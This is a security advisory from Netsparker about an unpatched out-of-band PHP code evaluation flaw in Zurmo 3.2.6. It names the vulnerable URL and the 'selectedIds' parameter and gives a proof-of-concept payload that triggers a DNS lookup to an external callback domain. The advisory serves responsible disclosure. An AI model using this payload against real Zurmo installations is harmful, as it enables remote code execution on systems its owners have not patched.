Out of Band Code Evaluation Vulnerability in Zurmo 3.2.6

Information
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Advisory by Netsparker
Name: Out of Band Code Evaluation in Zurmo
Affected Software: Zurmo
Affected Versions: 3.2.6
Homepage: http://zurmo.org
Vulnerability: Out of Band Code Evaluation
Severity: Critical
Status: Not Fixed
Netsparker Advisory Reference: NS-19-009

Technical Details
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URL: http://{DOMAIN}/zurmo/app/index.php/contacts/default/?_=1557483057859&ajax=list-view&Contact_page=&Contact_sort=&selectedIds=gethostbyname(trim('jnakpvs_zm8e35fk-ro1tuqv0l91lzlao8tgo6_5'.'6j4.r87.me'))
Parameter Name: selectedIds
Parameter Type: GET
Attack Pattern: gethostbyname(trim(%27jnakpvs_zm8e35fk-ro1tuqv0l91lzlao8tgo6_5%27.%276j4.r87.me%27))

Information
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Netsparker identified a Remote Code Evaluation (PHP) by capturing a DNS A request, which occurs when input data is run as code.

Advisory Timeline
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17th May 2019 - First Attempted Contact
25th July 2019 - Advisory Released

Credits & Authors
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These issues have been discovered by Umran Yildirimkaya while testing the Netsparker Web Application Security Scanner.

About Netsparker
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Netsparker web application security scanner finds and reports security flaws and vulnerabilities such as SQL Injection and Cross-site Scripting (XSS) in all websites and web applications, regardless of the platform and technology they are built on. Netsparker scanning engine’s unique detection and exploitation techniques allow it to be dead accurate in reporting vulnerabilities.